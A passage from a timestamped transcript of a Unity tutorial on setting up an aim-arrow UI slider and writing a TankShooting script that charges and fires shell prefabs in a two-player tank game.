the tank. - 03:34 - 03:36 And we're going to hold down - 03:36 - 03:38 in order to increase the value - 03:38 - 03:40 on that slider and therefore increase - 03:40 - 03:42 the amount to which the arrow is shown. - 03:42 - 03:44 So what we want to do is - 03:44 - 03:47 alt-click on AimSlider on the arrow - 03:47 - 03:49 to expand everything, so remember when we did this - 03:49 - 03:53 on the canvas before we alt-click the arrow left of it's name - 03:53 - 03:55 to expand everything at once. - 03:57 - 03:59 Then as before we need to get rid - 03:59 - 04:01 of the Handle Slide Area because - 04:01 - 04:03 we don't want to be dragging this around, - 04:03 - 04:05 it's just based on the Fire button in the game. - 04:05 - 04:07 So I'm going to select Handle Slide Area and - 04:07 - 04:10 delete it, therefore deleting the handle as well. - 04:10 - 04:13 So command-backspace on mac, delete on pc. - 04:14 - 04:16 And then we also don't need the Background - 04:16 - 04:18 of this slider because we just want it to be - 04:18 - 04:20 invisible when they're not firing and then just - 04:20 - 04:22 emerge as soon as they start firing. - 04:22 - 04:24 So I'm going to select the background. - 04:25 - 04:26 And delete it. - 04:26 - 04:28 You should be left with Aim Slider, - 04:28 - 04:30 Fill Area and Fill. - 04:34 - 04:36 A quick reminder, so we right-clicked on our - 04:36 - 04:38 Canvas, that's our existing canvas that we - 04:38 - 04:40 used for the Health slider and we - 04:40 - 04:42 added a new object to it, so when you're working - 04:42 - 04:44 with the UI system be aware that you - 04:44 - 04:46 invariably will just create just one canvas - 04:46 - 04:48 and many things within it. - 04:49 - 04:51 So it's the same for screen space UI as it is - 04:51 - 04:53 with our world UI that we're doing. - 04:53 - 04:55 So then we've renamed it AimSlider and - 04:55 - 04:57 we've expanded everything - 04:57 - 05:00 and removed the Background and - 05:00 - 05:02 Handle Slide Area game objects. - 05:03 - 05:06 Then we need to make this not intractable. - 05:06 - 05:08 Yet again it's just something that's controlled - 05:08 - 05:10 by a script, we're not going to be dragging on screen - 05:10 - 05:11 with a mouse or anything like that. - 05:11 - 05:13 So I'm going to reselect my AimSlider - 05:14 - 05:17 and look at the Slider component in the inspector on the right. - 05:18 - 05:21 I'm going to uncheck Intractable and - 05:21 - 05:23 because I don't want it to animate during any - 05:23 - 05:25 interaction because we don't want any interaction - 05:25 - 05:26 we set Transition to None - 05:26 - 05:28 and that's going to remove all of those transition - 05:28 - 05:30 properties for you. - 05:31 - 05:33 Then finally we're going to set - 05:33 - 05:35 this up based on the bottom being - 05:35 - 05:37 near the barrel of the tank and then the top - 05:37 - 05:39 being furthest away from the tank. - 05:39 - 05:42 So the Direction as we call it - 05:42 - 05:44 we'll say is 'Bottom to Top'. - 05:45 - 05:47 Then we're going to set the Min and Max - 05:47 - 05:50 values from 15 to 30. - 05:53 - 05:57 And we can leave our Minimum Value at 15. - 05:57 - 05:59 So we want it to start off and then - 05:59 - 06:02 draw this thing out to a certain amount, - 06:02 - 06:04 and you'll see that once we start doing it. - 06:07 - 06:09 So we don't want it intractable, - 06:09 - 06:11 there's no transition, it needs to render - 06:11 - 06:13 from bottom to top once we've setup - 06:13 - 06:15 the position for it, which you'll see shortly. - 06:15 - 06:17 And we have minimum and maximum - 06:17 - 06:19 values for that slider. - 06:19 - 06:22 Okay, so then yet again we need to - 06:22 - 06:24 setup this slider in context - 06:24 - 06:26 of it's parent. - 06:26 - 06:29 So the parent of this slider is the canvas. - 06:29 - 06:31 Yet again it's a quick way - 06:31 - 06:33 to get things roughly in the right size - 06:33 - 06:35 is to just stretch them over their parent - 06:35 - 06:37 then you can start resizing them and stretching them - 06:37 - 06:39 to where you want them to be. - 06:39 - 06:41 So that's exactly what we're going to do right now. - 06:41 - 06:43 So what we're going to do is multi-select - 06:43 - 06:46 the AimSlider and the Fill Area, just those two. - 06:49 - 06:51 Then if you look at the rect transform - 06:51 - 06:53 yet again we have these anchor presets. - 06:53 - 06:55 So just to remind you these are ways of - 06:55 - 06:59 stretching out where that UI element will exist - 06:59 - 07:01 and also you can position them at the same - 07:01 - 07:04 time using alt, which is exactly what we'll do. - 07:04 - 07:06 So if we select that anchor preset - 07:06 - 07:08 and hold down alt, you can see if I - 07:08 - 07:11 tap alt now we are stretching and positioning. - 07:12 - 07:14 So I'm going to right-click the lower right - 07:14 - 07:16 stretch option there. - 07:20 - 07:22 Then what you'll see is it's getting roughly in the right - 07:22 - 07:25 place now and it's now based under our tank. - 07:26 - 07:28 Then I'm going to expand my Fill Area - 07:28 - 07:30 if I haven't already so I can see the fill. - 07:32 - 07:35 So with the Fill selected, that's the image that we want - 07:35 - 07:37 to actually project, so we've made an arrow for - 07:37 - 07:39 you guys in Photoshop that's just - 07:39 - 07:42 got a gradient fade to the bottom of it. - 07:42 - 07:44 And we've already sliced that up - 07:44 - 07:46 in the sprite editor in Unity, - 07:46 - 07:48 just to show you that really quick. - 07:48 - 07:50 It looks like this. - 07:50 - 07:52 There's our AimArrow, - 07:52 - 07:55 and with the sprite editor what you can do is basically - 07:55 - 07:57 define which areas are going - 07:57 - 07:59 to be sliced and stretched. - 07:59 - 08:01 So what you'll notice is we've got this entire - 08:01 - 08:03 area at the top, which is fine, - 08:03 - 08:05 and then the outer area - 08:05 - 08:07 is defined as well, but in the middle we've got - 08:07 - 08:10 this small space in which we can stretch. - 08:11 - 08:13 That's already setup for you guys, - 08:13 - 08:13 you don't need to worry about that, - 08:13 - 08:15 I just wanted to show it to you. - 08:15 - 08:17 So with that Fill game object - 08:18 - 08:21 we're going to setup it's visual area. - 08:22 - 08:24 So the first thing I'm going to do is - 08:24 - 08:26 to remove this value of 10 from the Height. - 08:26 - 08:28 So I don't want it to be any distance - 08:28 - 08:30 from it's parent at all so I'm just going to - 08:30 - 08:33 zero that out totally, set the height to 0. - 08:33 - 08:35 Then on the Fill game object - 08:35 - 08:37 there's also the actual image itself. - 08:37 - 08:39 So you'll see an image component. - 08:39 - 08:41 In Source Image I'm going to choose - 08:41 - 08:43 that Aim Arrow, - 08:43 - 08:45 So click to the right of Source Image - 08:45 - 08:48 it currently has this default UI sprite thing we don't want. - 08:49 - 08:51 Click on Aim Arrow there. - 08:51 - 08:53 So you won't be able to see anything just yet, - 08:53 - 08:55 we haven't quite finished it. - 08:55 - 08:59 Okay, so we've selected AimSlider Fill Area and we've - 08:59 - 09:02 stretched them over the canvas, the parent, - 09:02 - 09:04 that's what we've done there, - 09:04 - 09:07 remember alt-click to stretch them out. - 09:07 - 09:09 And then we've expanded that Fill Area - 09:09 - 09:11 and selected the Fill and - 09:11 - 09:12 we've set the height to 0 - 09:12 - 09:14 to remove any offset from the parent Rect. - 09:14 - 09:16 So when I say the parent Rect I'm just referring to - 09:16 - 09:18 whatever's directly above it, in this case - 09:18 - 09:20 it's the Fill Area. - 09:20 - 09:22 And then on the Fill game object we've - 09:22 - 09:24 used circle select to choose the Aim Arrow. - 09:24 - 09:26 So we're going to go back to the Aim Slider right now - 09:26 - 09:28 and what you should see is that - 09:28 - 09:31 if you select the rect tool, - 09:31 - 09:33 so the 5th one at the top here. - 09:33 - 09:36 So these tool by the way are Q, W, E, R, T - 09:36 - 09:38 if you're on a QWERTY keyboard - 09:38 - 09:41 then that's how you can just switch between those tools. - 09:41 - 09:43 So the fifth one there is the tool you want. - 09:43 - 09:45 That will help you see these dots - 09:45 - 09:47 and allow you to drag things out. - 09:47 - 09:49 So what I'm going to do is just - 09:49 - 09:52 move my scene view around so - 09:52 - 09:54 you can of course drag around with the - 09:54 - 09:57 first hand tool, but if you're on another tool, - 09:57 - 10:00 such as the rect tool you can hold down alt - 10:00 - 10:02 to orbit around what you're looking at. - 10:03 - 10:05 So if I alt and then drag around I can see what I'm doing. - 10:05 - 10:07 I'm just doing this to get myself some kind - 10:07 - 10:08 of overhead view. - 10:08 - 10:10 Another way to do that of course is - 10:10 - 10:13 to click on the Y spoke - 10:13 - 10:15 of the gizmo in the top right there, - 10:15 - 10:17 and then tap the centre cube to - 10:17 - 10:19 change in to a totally flat view overhead. - 10:19 - 10:21 Because what I'm trying to do is this, - 10:21 - 10:23 and I'll show you it quickly and then we'll go back through it. - 10:24 - 10:26 I'm going to drag the outer bounds in - 10:26 - 10:28 so that they're roughly on the edge of the tank. - 10:29 - 10:31 I'm going to drag it a little bit longer - 10:31 - 10:33 and then I'm going to drag it up so that it's - 10:33 - 10:35 snapped on the front of the tank. - 10:36 - 10:37 Something like that. - 10:37 - 10:39 Then I'm going to orbit around so that I'm in - 10:39 - 10:42 an orthographic isometric view right now. - 10:42 - 10:44 And then I'm going to drag with my - 10:44 - 10:46 translate tool I'll drag back - 10:46 - 10:49 in the Z axis just to bring the up a little bit. - 10:49 - 10:52 So it's just slightly off the ground, like that. - 10:52 - 10:54 I'm going to go back a few steps and - 10:54 - 10:56 run that by you again. - 10:57 - 10:58 So once more, - 10:58 - 11:00 with my rect tool I'm just dragging - 11:00 - 11:02 in the bounds, so remember we're on - 11:02 - 11:04 the Aim Slider, make sure you've - 11:04 - 11:06 got the Aim Slider selected. - 11:07 - 11:09 Drag in the left and right edges. - 11:10 - 11:12 Make it a little bit taller, drag it forward, - 11:12 - 11:14 this doesn't need to be precise by the way, - 11:14 - 11:16 it can just be a design choice, - 11:16 - 11:18 so you might have a slightly - 11:18 - 11:20 more extended arrow than anyone else - 11:20 - 11:22 does on their tank, but as long as that - 11:22 - 11:24 slider is going from between those two values it'll - 11:24 - 11:26 function the same as everybody else's game. - 11:26 - 11:28 And then all I've done to bring that up - 11:28 - 11:30 off the ground, because the rect tool - 11:30 - 11:32 deals with 2D specifically we have to - 11:32 - 11:34 jump back to the translate tool, - 11:34 - 11:37 drag the blue arrow backwards to - 11:37 - 11:39 bring it up off the ground and you should - 11:39 - 11:41 end up with something that looks like this. - 11:45 - 11:47 Of course save your scene throughout. - 11:47 - 11:49 Just to make sure you're up to date. - 11:49 - 11:51 And if you do want the exact same - 11:51 - 11:53 values that we intend you to use - 11:53 - 11:55 I'll give you those values now. - 11:56 - 11:58 Though I've just done this by hand, but if you wanted - 11:58 - 12:00 to just type them in to the inspector - 12:00 - 12:09 our values would be 1, -9, -1, 1 and 3. - 12:13 - 12:15 It would look something like that. - 12:17 - 12:22 So remember this is the Aim Slider, 1, -9, -1, 1, 3. - 12:24 - 12:26 And as before, because it's a slider - 12:26 - 12:28 and the slider is controlling how the - 12:28 - 12:30 image will behave, if I drag - 12:30 - 12:32 my value on the slider you'll see - 12:32 - 12:35 that my arrow is doing what it should do. - 12:37 - 12:38 So you can test it out that way. - 12:38 - 12:40 Make sure you leave it back on the lowest - 12:40 - 12:42 possible value to the left with that slider - 12:42 - 12:44 once you've tested it out. - 12:46 - 12:48 We have our Aim Slider setup - 12:48 - 12:50 and we're ready to start actually - 12:50 - 12:52 firing shells, which is exactly what - 12:52 - 12:54 we need for this tank shooter, - 12:54 - 12:56 otherwise it will just be a tank, - 12:58 - 12:59 something. - 12:59 - 13:02 Okay, so, in our Scripts folder - 13:04 - 13:07 if you pop that open you'll find something called Tank. - 13:07 - 13:09 We've been in there before, this time we need - 13:09 - 13:11 TankShooting, and we're going to just - 13:11 - 13:15 drag and drop that on to the Tank game object. - 13:15 - 13:18 So I can basically collapse my tank right now, - 13:18 - 13:20 just click on the arrow next to it's name, - 13:21 - 13:23 and then I'm going to drag TankShooting - 13:23 - 13:25 and drop it on to the Tank. - 13:25 - 13:27 I'm just going to collapse my - 13:27 - 13:30 other components so that you can see it more easily now. - 13:31 - 13:34 So we have our TankShooting - 13:34 - 13:36 there and we're ready to start editing it. - 13:36 - 13:38 You'll see there's a number of different - 13:38 - 13:40 public variables which we're ready to populate - 13:40 - 13:42 but we'll talk about those in context of the script - 13:42 - 13:44 that way when we come back and populate them - 13:44 - 13:45 they have some meaning. - 13:45 - 13:48 So if you double click on TankShooting to open it - 13:48 - 13:50 we are ready to edit. - 13:51 - 13:53 So like we've had before, - 13:53 - 13:55 there are some - 13:55 - 13:57 blocked comments that we need to get rid of - 13:57 - 13:58 before we can continue. - 13:58 - 14:00 Yeah, let's do that first. - 14:00 - 14:03 So on line 17 and line 37 - 14:03 - 14:09 there should a /* and a */ - 14:10 - 14:12 Easy for you to say! - 14:13 - 14:16 Okay, so that's all the comments done. - 14:17 - 14:18 Let's go through those public variables - 14:18 - 14:20 and find out what they mean. - 14:20 - 14:22 So like we had with the - 14:22 - 14:25 TankMovement script, we have a PlayerNumber - 14:25 - 14:27 because we need some input in this class - 14:27 - 14:29 so we need to know which input axis - 14:29 - 14:31 we need to reference. - 14:32 - 14:34 In this case it's going to be fire1 for player1, - 14:34 - 14:37 fire2 for player2, etcetera. - 14:38 - 14:39 So that's why we need that. - 14:39 - 14:41 We need a reference to the Shell - 14:41 - 14:43 prefab that we're going to instantiate - 14:43 - 14:45 so we've got that rigidbody Shell there. - 14:46 - 14:48 So remember this isn't a reference to the rigidbody, - 14:49 - 14:51 because we only want to affect things - 14:51 - 14:54 about that rigidbody we can just refer to that as the prefab. - 14:56 - 14:58 Okay, and we need a reference to that - 14:58 - 15:00 place that we're going to - 15:00 - 15:03 fire the shells from, that FireTransform, - 15:03 - 15:05 so that's what that references there. - 15:06 - 15:08 Obviously we need a reference to the slider - 15:08 - 15:10 to make it grow and shrink. - 15:10 - 15:12 We need a reference to the second audio - 15:12 - 15:14 source on the tank, the one that's going to play the - 15:14 - 15:16 sound effects for shooting. - 15:16 - 15:18 So that's what that audio source is there for. - 15:19 - 15:21 And we need to know what clips that audio - 15:21 - 15:23 source is going to play so we need a reference to - 15:23 - 15:25 those two audio clips, - 15:25 - 15:27 one for charging up the shot and - 15:27 - 15:28 one for actually firing it. - 15:28 - 15:31 And so now we've got a few float variables. - 15:32 - 15:35 We've got the minimum and maximum launch force/ - 15:35 - 15:37 You'll remember the values of the slider we gave you - 15:37 - 15:40 were 15 for minimum and 30 for maximum? - 15:40 - 15:42 So that is going to correlate like we did - 15:42 - 15:45 with the health we did from 0 to 100 for health, - 15:45 - 15:48 we're doing 15 to 30 for the LaunchForce. - 15:49 - 15:51 If you want to change the LaunchForce, change them both - 15:51 - 15:53 here and on the slider. - 15:53 - 15:56 We don't recommend you do that because it starts - 15:56 - 15:59 bumping in to things like the tank if you go too fast, - 15:59 - 16:01 that sort of stuff. - 16:01 - 16:03 Let them discover it on their own! - 16:03 - 16:05 You can try tweaking stuff, - 16:05 - 16:07 we won't be upset, but yeah, - 16:07 - 16:09 we've found these to be good values for now. - 16:09 - 16:12 So the last public float is how long is - 16:12 - 16:14 it going to take to get from the minimum launch force - 16:14 - 16:16 to the maximum launch force? - 16:16 - 16:18 So about 3/4 of a second to go from - 16:18 - 16:20 minimum charge where you're just, - 16:20 - 16:22 just shooting the shells, just about - 16:22 - 16:24 to really firing them across the screen, - 16:24 - 16:26 takes about 3/4 of a second. - 16:26 - 16:28 Based on that time and how much - 16:28 - 16:30 charge we need to build up - 16:30 - 16:32 we're going to calculate how fast that needs to go. - 16:34 - 16:36 And that's going to be called the ChargeSpeed, and that's our - 16:36 - 16:37 third private variable down there, - 16:37 - 16:40 but the ones before that, if you remember the - 16:40 - 16:42 input axis are strings - 16:42 - 16:45 so input buttons are also strings, - 16:45 - 16:47 so we've got one for the fire button there, - 16:47 - 16:51 which we'll store based on the PlayerNumber. - 16:51 - 16:53 And we need to keep track of how - 16:53 - 16:55 much we've charged up the shot so far, - 16:55 - 16:57 so that's the CurrentLaunchForce, - 16:57 - 16:59 how much have we built up so far. - 16:59 - 17:02 And the last one is whether or not we've fired yet. - 17:02 - 17:04 Because we don't want to fire multiple times, - 17:04 - 17:06 we want to do it once per button press. - 17:06 - 17:09 So the next function we've got there is OnEnable, - 17:09 - 17:11 so that's when the tank is turned back - 17:11 - 17:13 on after being killed. - 17:13 - 17:16 We're setting the CurrentLaunchForce back to the minimum - 17:16 - 17:18 and we're setting the AimSlider's value back to the minimum. - 17:18 - 17:20 So when you're alive you're not already charging a shot, - 17:20 - 17:22 you just start again. - 17:23 - 17:25 Then we've got the Start function. - 17:25 - 17:27 So again this is called right at the start, only once, - 17:27 - 17:29 OnEnable might be called multiple times if you die - 17:29 - 17:33 multiple times but Start will only be called once - 17:33 - 17:35 so we're calculating the Fire button, and that's - 17:35 - 17:40 equal to the string Fire plus a number based on the PlayerNumber. - 17:40 - 17:43 So Fire1for Player1, Fire2 for Player2, etcetera. - 17:44 - 17:47 Just a quick reminder, in the input settings, - 17:47 - 17:49 those are the things I was talking about earlier, - 17:49 - 17:51 so Fire1 there, we just take the PlayerNumber - 17:51 - 17:53 and put it on the end and it then references this - 17:53 - 17:57 which gives us, in this instance, the spacebar. - 17:58 - 18:00 So the last thing we're doing in Start there - 18:00 - 18:04 is calculating the ChargeSpeed, - 18:04 - 18:06 so if you remember Speed equals Distance over Time, - 18:06 - 18:07 this is the same thing, - 18:07 - 18:09 the distance that we've got to cover is from - 18:09 - 18:11 the minimum to the maximum LaunchForce - 18:11 - 18:14 and the time we've got to do that is the ChargeTime. - 18:14 - 18:16 So Speed is the distance we've got to cover - 18:16 - 18:19 over the time, that's how we're calculating that. - 18:19 - 18:21 So next we've got the Update function. - 18:21 - 18:23 Now the Update, what it needs to do is - 18:23 - 18:24 take care of all the inputs, - 18:24 - 18:26 so when the button is being pressed for the - 18:26 - 18:28 first frame, when it's being held down, - 18:29 - 18:30 and when it's being released, - 18:30 - 18:32 it also needs to take care of the account when - 18:32 - 18:34 you've held it for too long and you've reached the - 18:34 - 18:36 maximum and then you need to fire. - 18:37 - 18:39 So to do that we're going to have a - 18:39 - 18:41 series of if else statements to make sure we're - 18:41 - 18:43 catching all the cases. - 18:43 - 18:45 But the first thing we need to do is make sure that - 18:45 - 18:48 the AimSlider's default value, so every frame we're - 18:48 - 18:50 going to set the default value of the AimSlider - 18:51 - 18:53 back to the MinimumLaunchForce. - 18:53 - 18:56 So by default AimSlider is - 18:56 - 18:58 invisible at it's most minimum value. - 18:59 - 19:01 And then if we decide that it needs - 19:01 - 19:04 to be at a different value we can set it then. - 19:05 - 19:09 The first if statement that we're going to write is - 19:09 - 19:22 if(m_CurrentLaunchForce >= m_MaxLaunchForce - 19:26 - 19:31 and, so that's &&, we have not yet fired, - 19:31 - 19:34 so !m_Fired - 19:35 - 19:40 So that's the case, we have charged up to the maximum, - 19:40 - 19:42 and we've not yet fired so we need to do - 19:42 - 19:45 something about that, so what we're going to do is we're going to - 19:45 - 19:47 write all of these if statements so we can take care of the - 19:47 - 19:49 cases and then come back at the end - 19:49 - 19:52 and go through what we actually need to do in those cases. - 19:52 - 19:54 So I'm just going to put in a single line comment - 19:54 - 19:56 just to remind you what you're doing, you can write that - 19:56 - 19:57 in or not, it's up to you. - 19:57 - 20:00 So at the maximum amount of charge but not yet fired. - 20:00 - 20:04 So after that we have an else if statement, - 20:04 - 20:10 else if( and in this case we're dealing with when the button is first pressed - 20:10 - 20:12 so when the button is first pressed - 20:12 - 20:16 Input.GetButtonDown is returned true. - 20:16 - 20:19 So you get ButtonDown is when it's first pressed. - 20:20 - 20:22 And the button that we want to - 20:22 - 20:26 check is the Fire button, so m_FireButton. - 20:31 - 20:35 Okay, and if we have not reached the maximum charge - 20:35 - 20:37 and we've not just pressed the button, - 20:37 - 20:39 then we might be holding the button, - 20:39 - 20:44 so the next else if statement is Input.GetButton - 20:46 - 20:49 So that's saying 'is the button currently held?' - 20:50 - 20:52 But we need to check if it's currently held - 20:52 - 20:54 that we haven't fired already, - 20:54 - 20:57 because we might have hit the maximum launch force - 20:57 - 21:01 and then not fired it, so we need to check for that. - 21:03 - 21:07 And the last else if statement - 21:07 - 21:10 is, you might have guessed it, if you've released the button. - 21:11 - 21:17 So in this case it would be else if(Input.GetButtonUp(m_FireButton) - 21:18 - 21:20 and again we need to check that we've not yet fired. - 21:25 - 21:27 So you might have noticed that all of them are - 21:27 - 21:29 checking that we've not yet fired, apart from when we've - 21:29 - 21:32 first pressed the button, and that's because when we first press the button - 21:32 - 21:34 of course we haven't fired, we've just pressed the button. - 21:35 - 21:37 Okay, so let's go back through - 21:37 - 21:39 those and think about what we - 21:39 - 21:41 actually need to do then. - 21:42 - 21:44 So in the first case we've - 21:44 - 21:46 gone beyond the MaxCharge - 21:46 - 21:48 and we've not yet fired. - 21:48 - 21:50 So what we really need to do is fire, - 21:50 - 21:52 but we don't want to do it beyond the maximum charge, - 21:52 - 21:54 we want to do it at the maximum. - 21:54 - 21:57 So what we'll do is we'll set the CurrentLaunchForce - 21:57 - 21:59 to the MaxLaunchForce - 22:00 - 22:01 so that it's not over the top, - 22:01 - 22:03 and we'll call the Fire function, which is a function - 22:03 - 22:05 which we'll write in a little bit. - 22:05 - 22:07 Then if we've just pressed the button - 22:07 - 22:08 for the first time - 22:08 - 22:11 then we know that we have not yet fired. - 22:11 - 22:16 So m_Fired is false, we've not fired yet. - 22:17 - 22:20 And we also know if we just press the button - 22:20 - 22:22 that the LaunchForce should be at it's minimum. - 22:23 - 22:26 So we'll set CurrentLaunchForce equal to MinLaunchForce. - 22:26 - 22:28 Also when we've just pressed the button - 22:29 - 22:31 we want to start playing a sound effect that - 22:31 - 22:34 related to charging up, so, - 22:34 - 22:37 what we'll do is set the ShootingAudio clip - 22:38 - 22:40 to the ChargingClip, so - 22:40 - 22:44 m_ShootingAudio.clip = ChargingClip - 22:46 - 22:52 And we'll play that audio clip, so m_ShootingAudio.Play - 22:54 - 22:56 Okay, so the next one is if the - 22:56 - 22:59 button is being held, so if the button is being held we - 22:59 - 23:02 don't want to fire but we do want to - 23:02 - 23:05 update how much the charge has gained. - 23:05 - 23:08 So what we're going to do is set the - 23:08 - 23:13 CurrentLaunchForce to itself plus ChargeSpeed times delta time. - 23:14 - 23:16 So to do that we do += - 23:18 - 23:21 m_ChargeSpeed * Time.deltaTime - 23:22 - 23:26 So remember that +=, what it's doing is is saying - 23:26 - 23:28 'add this to it's current value'. - 23:29 - 23:34 It's saying 'set this to itself plus a little bit extra'. - 23:35 - 23:38 With that new CurrentLaunchForce that we've just increased - 23:39 - 23:41 we'll set the AimSlider's value - 23:41 - 23:43 to the CurrentLaunchForce. - 23:45 - 23:47 So similar to the HealthUI that we did before - 23:47 - 23:49 we're effectively setting the value - 23:49 - 23:51 and then refreshing the actual visual - 23:51 - 23:53 element of it by setting the slider's value. - 23:53 - 23:56 Okay? And the last case that we need to deal with - 23:56 - 24:01 is if you've released the button you fire, that's it! - 24:01 - 24:04 So we'll just quickly go over that. - 24:04 - 24:06 First off we're resetting the value - 24:06 - 24:08 to a default value and then we'll - 24:08 - 24:12 only change the AimSlider based on the button being held. - 24:12 - 24:14 Or pressed, or released. - 24:14 - 24:15 Yes. - 24:15 - 24:18 If the CurrentLaunchForce is greater than the maximum - 24:18 - 24:21 we'll set it back to the maximum and then fire based on that. - 24:21 - 24:23 If the button is being pressed for the first time - 24:24 - 24:27 then we have not yet fired, so fire gets set to False. - 24:27 - 24:31 And then CurrentLaunchForce gets set back to our minimum. - 24:31 - 24:34 We also play the correct clip for that situation. - 24:34 - 24:36 If the button is being held - 24:36 - 24:40 and we've not yet fired, so that's GetButton for held, - 24:41 - 24:43 then we'll increase the LaunchForce - 24:43 - 24:47 by the ChargeSpeed multiplied by Time.deltaTime. - 24:47 - 24:51 And we will set the AimSlider's value appropriately. - 24:51 - 24:55 Finally, if we've released the button then we'll fire. - 24:56 - 24:59 Why don't you set any other audio conditions? - 24:59 - 25:01 That's a good question, the question if you didn't hear was - 25:01 - 25:03 'why don't we set other audio conditions?' - 25:03 - 25:05 So basically the way this works is we have an audio - 25:05 - 25:07 clip that's kind of incremental, - 25:07 - 25:09 a kind of charging sound, - 25:09 - 25:11 and what happens with that is that when we write the - 25:11 - 25:13 Fire function in a moment we're going to - 25:13 - 25:15 play a different clip, so what we do is interrupt it - 25:15 - 25:18 effectively with the sound of it firing. - 25:18 - 25:20 So that's effectively cutting it off - 25:20 - 25:22 and replacing the clip with another, and that will take care of - 25:22 - 25:24 the rest of the audio in that scenario. - 25:25 - 25:27 That's a good question. - 25:27 - 25:30 Okay, so let's move on to the Fire function. - 25:31 - 25:33 So what we need to do here is instantiate - 25:33 - 25:37 the shell and give it a velocity - 25:37 - 25:39 based on how much we've charged up. - 25:39 - 25:41 So the first thing, when we've fired - 25:41 - 25:43 of course Fired = True. - 25:43 - 25:45 So that's going to deal with all the logic - 25:45 - 25:47 above that we've just put in. - 25:48 - 25:50 And the next thing we need to do is actually - 25:50 - 25:52 instantiate a shell, so we're going to use that - 25:52 - 25:54 instantiate function again, - 25:54 - 25:56 but we're going to use it's return type. - 25:56 - 25:59 So we're going to say that a rigidbody - 25:59 - 26:02 called ShellInstance is equal to - 26:02 - 26:05 Instantiate, the thing that we're going to instantiate - 26:05 - 26:06 is the shell, - 26:06 - 26:08 so m_Shell, - 26:08 - 26:11 we're going to instantiate it at the FireTransform's position - 26:12 - 26:17 so m_FireTransform.position - 26:19 - 26:21 And we're going to instantiate it at the - 26:21 - 26:23 FireTransform's rotation as well. - 26:23 - 26:27 So it's m_FireTransform.rotation. - 26:28 - 26:30 So that's the last parameter that we've got there. - 26:30 - 26:34 But instantiate actually returns something just - 26:34 - 26:37 an object, it doesn't return a rigidbody naturally. - 26:37 - 26:39 So in order to assign it a rigidbody - 26:40 - 26:43 what we do is we say as Rigidbody at the end. - 26:43 - 26:45 And what that'll do is it'll say - 26:45 - 26:47 'I've created an object, can I treat this as a rigidbody? - 26:47 - 26:50 Well it's got a rigidbody component, - 26:50 - 26:52 so yes, and I'll return that'. - 26:52 - 26:54 So effectively this is doing two things at once, - 26:54 - 26:57 we're instantiating and we're placing the rigidbody in to the scene - 26:57 - 26:59 and we're also assigning it to a variable that we can - 26:59 - 27:00 give a velocity. - 27:00 - 27:02 Okay, so let's do that. - 27:03 - 27:05 So ShellInstance is a rigidbody - 27:05 - 27:08 so it has a velocity, now a velocity has - 27:08 - 27:10 a type of vector3 - 27:10 - 27:12 so what we're going to do is - 27:12 - 27:16 give it a direction, which is the FireTransform's forward direction, - 27:16 - 27:20 and a magnitude, which is the CurrentLaunchForce. - 27:20 - 27:29 So we'll do m_CurrentLaunchForce * m_FireTransform.forward - 27:30 - 27:33 So all that's saying is 'in the forward direction of the FireTransform - 27:33 - 27:36 with an amount equal to the CurrentLaunchForce. - 27:37 - 27:39 So that's launched the shell, - 27:39 - 27:41 all successfully, but we do need to change the - 27:41 - 27:44 audio that's playing as we were just mentioning earlier. - 27:45 - 27:48 So ShootingAudio.Clip gets set to the fireClip. - 27:49 - 27:52 And that will automatically stop the audio source from playing. - 27:52 - 27:55 So we need to play the audio source with the new clip. - 27:55 - 27:59 So m_ShootingAudio.Play. - 27:59 - 28:01 And the last thing we need to do, - 28:01 - 28:04 well we don't need to, this is more of a safety catch, - 28:04 - 28:06 is we're setting the CurrentLaunchForce - 28:07 - 28:09 equal to the MinLaunchForce. - 28:09 - 28:11 So that's just making sure that if - 28:11 - 28:14 some button press sneaks in there - 28:14 - 28:16 then we're not going to launch it twice with - 28:16 - 28:19 maximum velocity or something. - 28:19 - 28:21 That is the bottom of that script so do save, - 28:21 - 28:23 switch back to the editor, have a look at - 28:23 - 28:26 the console for any errors that you might have. - 28:28 - 28:30 Cool, okay, wonderful. - 28:32 - 28:34 Let's hope that I got it right! - 28:35 - 28:36 Which I did. - 28:36 - 28:38 Okay, so reselect the Tank and we need to - 28:38 - 28:40 populate this, so as many of you - 28:40 - 28:42 are probably discovering as you're running ahead and - 28:42 - 28:44 trying to press play and hoping to shoot things - 28:44 - 28:46 it won't work just yet, because we haven't - 28:46 - 28:49 assigned those public variables that we need to. - 28:49 - 28:51 So on TankShooting we need to assign - 28:51 - 28:53 a few things, so our shell you'll remember - 28:53 - 28:57 is a prefab, so delve in to the Prefabs folder - 28:57 - 28:59 in to project and grab your Shell prefab - 28:59 - 29:02 and drop it on to where it says Non (Rigidbody). - 29:03 - 29:05 That will assign it there. - 29:05 - 29:07 Then the Fire Transform is a child of - 29:07 - 29:09 the Tank, if you expand the Tank - 29:09 - 29:11 you will find FireTransform. - 29:12 - 29:14 Drag and drop that on. - 29:14 - 29:16 Likewise with the Aim Slider, - 29:16 - 29:19 the AimSlider is the game object to assign there. - 29:20 - 29:23 And then Shooting Audio is the slightly trickier one. - 29:23 - 29:25 I'm grabbing the second audio source - 29:25 - 29:27 so the title, make sure you collapse - 29:27 - 29:28 and it's a lot easier to do, - 29:28 - 29:30 grab the title of that component, - 29:30 - 29:34 drop it on to the variable Shooting Audio. - 29:34 - 29:36 So grab the component name, drop it on there. - 29:37 - 29:39 And the last two should be fairly self explanatory, - 29:39 - 29:41 they're just two audio clips, ChargingClip, - 29:41 - 29:43 use the circle select - 29:43 - 29:45 ShotCharging. - 29:46 - 29:49 You can use circle select whilst the window is still open - 29:49 - 29:51 to just switch to assigning something else. - 29:51 - 29:55 I'm just going to select that and ShotFiring for the second one. - 29:56 - 29:58 So it should be assigned and it should look like that. - 29:59 - 30:02 Okay, so what I would like you to notice - 30:02 - 30:04 is that with the tank we've added - 30:04 - 30:06 a few things to the tank since we last - 30:06 - 30:08 updated the prefab, and as we know when - 30:08 - 30:10 we don't update a prefab we have - 30:10 - 30:13 things that are in grey and not in blue - 30:13 - 30:15 to indicate that they're part of the - 30:15 - 30:17 prefab version that's saved in the project. - 30:17 - 30:19 So with the Tank selected I would like you - 30:19 - 30:21 to hit Apply at the top of the inspector - 30:21 - 30:24 to update that prefab, it's very important - 30:24 - 30:26 that the version in the project - 30:26 - 30:29 is the finished version that we've made so far. - 30:29 - 30:32 So hit Apply at the top of the inspector - 30:32 - 30:35 then all of the child objects underneath that, - 30:35 - 30:37 so remember you can alt-click the arrow to expand all, - 30:37 - 30:39 they should all be in blue right now. - 30:40 - 30:42 So Apply with the tank selected. - 30:43 - 30:46 Okay, so the tank is now finished. - 30:46 - 30:48 But we don't want it to stay in the scene. - 